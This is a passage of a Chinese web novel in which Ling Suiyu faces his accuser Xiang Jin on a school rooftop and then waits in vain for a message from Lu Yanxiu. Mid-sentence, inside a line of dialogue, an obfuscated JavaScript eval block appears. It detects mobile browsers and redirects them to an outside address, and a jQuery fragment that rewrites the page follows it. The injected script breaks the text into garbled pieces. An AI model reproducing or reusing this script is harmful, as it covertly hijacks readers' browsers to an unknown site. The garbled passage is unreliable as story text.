要是知道了这些还看不出来凌岁虞在他心中是什么地位,刘田还真在学校混不了这么久。 就算真的要来踩一脚,也得等陆琰修真的抛弃了凌岁虞再说,刘田心底暗骂项进这个傻瓜,没有丝毫犹豫,就准备放弃这个人。 他果断地摇头,“我就来看看热闹,没想干什么,也不知道他这么大胆,竟然想针对你。” “这是你和他的恩怨,我不掺和,先走一步。” 项进瞳孔一震,他飞速抬手拽住了刘田的衣服,不敢置信,“你不是说过……” “我说过什么,我有说过一句话吗,”刘田一把挥开他的手,带着剩下的人往天台下面有,不忘把门带上,“你自己解决吧,我可不帮你擦屁股。” 项进眼睁睁看着大门关上了。 凌岁虞歪了歪脑袋,虽然不明白为什么那人就这么跑了,但还是没忍住笑了下,“欸,你的靠山怎么丢下你就跑了,项进,你说说为什么啊。” 项进转头,怨恨地看过来,气得浑身发抖,“你故意看我笑话。” “难道不是你自找的?” 凌岁虞脸色冷下来,一脚踹过去,他用了死劲,直接把项进踹倒在地,扶着肚子爬都爬不起来,浑身沾灰。 他一脚踩住项进的胸膛,低垂着头,问,“你一直针对我做什么,我记得我也没有招惹你吧。” 项进哼哼喘气,“你背叛了我,你是个骗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426876|167721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。” “我背叛你,”凌岁虞好笑地挑眉,“你脸真大,我和你熟吗,我做什么跟你有什么关系,我当初救了你一命,你倒好,狼心狗肺,不仅不感恩我,还想着毁掉我的生活,你是不是有病。” 项进一瞬间眼睛赤红,挣扎着大骂,“你撒谎,你又骗人,明明是我救了你,你还丢下我跑了,要不是你,我才不会受尽折磨,都怪你,我的一切不幸都是因为你。” 宋霍然真听不下去了,把凌岁虞拉到了身后,“你够了项进,你真的疯了,当初是他知道你被抓了,特地救了你一把,担心你受伤跑不快,还把便捷通道让给你,自己把人引走,你自己没跑出去怪谁。” “谁让他救我了,没把我救出去,我还替他受了折磨,我那么痛苦,都是他害的,我就见不得他好,”项进露出冷漠的笑,“他别想隐瞒一切,换个身份就过上好日子。” “我要让所有人知道他的真面目。” 凌岁虞知道说什么都没用了,反而冷静了下来,他拿出手机,看着还没有任何回复的微信页面,心里很慌。 他抿唇思索了一会儿,小心翼翼发消息。 【哥哥,如果我骗了你,你会不会不要我】 他紧紧抓着手机,仿佛要把屏幕盯出一个洞来,他自己都没有意识到,自己的手在微微发抖。 宋霍然安抚地拍了拍他的肩膀,“你要对他有信心,可能他是太忙了,没有时间回你消息,他不是放学要来接你,你跟他聊聊。” 凌岁虞咬着手指,不安又惶恐。 “他从来没有这么久不回我消息的,为什么偏偏今天冷着我。” 他犹豫道,“我等他到午休结束。” 宋霍然低头看着项进,意外发现他的脸色扭曲,带着势在必得的得意,好像已经确定了陆琰修不会回消息。 他隐约有不好的预感。 果不其然,一直到午休结束,凌岁虞的微信没有收到任何一条消息。 他上下滑了滑屏幕,这些天两人一直有来有回的发消息,回复时间间隔从来没超过十分钟,今天突然变化,只有他单方面的消息,占据整个屏幕。 凌岁虞心一下子凉了,深埋在心底的不安感卷土重来,他咬牙,关掉了手机,转身就把它塞到了宋霍然的手里。 宋霍然连忙抓住他,惊,“你这是做什么。” 凌岁虞脸色苍白,他抬起头,语气从来没有这么坚定过。 “我要离开这里。” 他不要看到陆琰修失望的眼神。